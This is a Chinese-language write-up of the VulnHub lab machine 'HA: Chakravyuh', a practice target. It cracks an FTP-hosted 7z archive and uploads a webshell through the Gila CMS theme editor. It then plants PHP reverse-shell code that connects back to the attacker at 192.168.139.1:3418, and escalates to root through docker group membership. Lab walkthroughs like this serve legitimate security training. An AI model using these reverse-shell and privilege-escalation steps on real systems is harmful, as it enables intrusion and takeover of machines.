VulnHub靶場學習_HA: Chakravyuh

HA: Chakravyuh

Vulnhub靶場

下載地址://www.vulnhub.com/entry/ha-chakravyuh,388/

背景:

Close your eyes and feel the heat of being in the middle of the Chakravyuh. The Epic Battle formation that is said to uncrackable. Can you crack the Uncrackable? Does it have it in you? Crack this epic Challenge and Claim the Title of Arjuna of 21st Century.

 

ENUMERATION IS THE KEY!!!!!

端口掃描

發現ftp中存在arjun.7z

 

掃描路徑

MySQL數據庫

收集到這些信息後,猜測Getshell的流程是,通過壓縮包知道數據庫賬號密碼,數據庫拿shell。

所以,先爆破arjun.7z的密碼

Fcrackzip這款軟件前面的靶機用過,挺好的,但不支持7z

Rarcrack這款軟件可以爆破7z,但不能跑字典,遍歷太久不現實。

rarcrack arjun.7z –threads 10 –type 7z

 

最後,我用的是PasswareKit,速度還是挺快的,支持GPU加速,

利用軟件本身攜帶的字典將其破解,壓縮包內的txt文本文件。

 

密碼是family。

 

Base64解密:

gila:[email protected]:princesa

不是數據庫的密碼。

 

看看是不是目錄,前面的gila

//192.168.139.140/gila/

//192.168.139.140/gila/admin

在Themes處有模板選擇,點擊文件圖標能編輯模板文件。

 

這裡能夠上傳任意文件,上傳了個馬。

 

這個馬無法解析,因為shell.ph被URL重寫,將所有的指向index.php處理。

 

這裡能夠獲取到數據庫的賬號密碼。

 

進入數據庫。

 

這裡寫入路徑做了限制,不能直接寫入shell,不過可以利用慢日誌來獲取shell。

同時該cms默認存在phpinfo。一般就是默認的/var/www/html/

 

但,這裡不通過數據庫Getshell

通過在index.php中寫入反彈shell的代碼Getshell

 

$sock=fsockopen(“192.168.139.1”,3418);exec(“/bin/sh -i <&3 >&3 2>&3”);

在PHP中執行如上代碼的話,會把系統的標準輸入輸出重定向到/bin/sh里,導致php-fpm直接502,然後彈的shell也會瞬間掉了。

當系統沒有禁用proc_popen的情況下,利用下面代碼反彈shell。

$sock = fsockopen(‘192.168.139.1’,3418);

$descriptorspec = array(

        0 => $sock,

        1 => $sock,

        2 => $sock

);

$process = proc_open(‘/bin/sh’, $descriptorspec, $pipes);

proc_close($process);

 

成功反彈shell。

python -c “import pty;pty.spawn(‘/bin/bash’);”

獲取交互式shell

查找提權的點

查找777權限文件

查找suid的文件

 

在查看id時,發現該用戶處於docker組。

可以利用docker提權,大概過程就是建立一個容器,將本機的文件加載其中。

docker run -v /:/hostOS -i -t chrisfosterelli/rootplease

詳細情況可百度 docker提權。

Cat /root/final.txt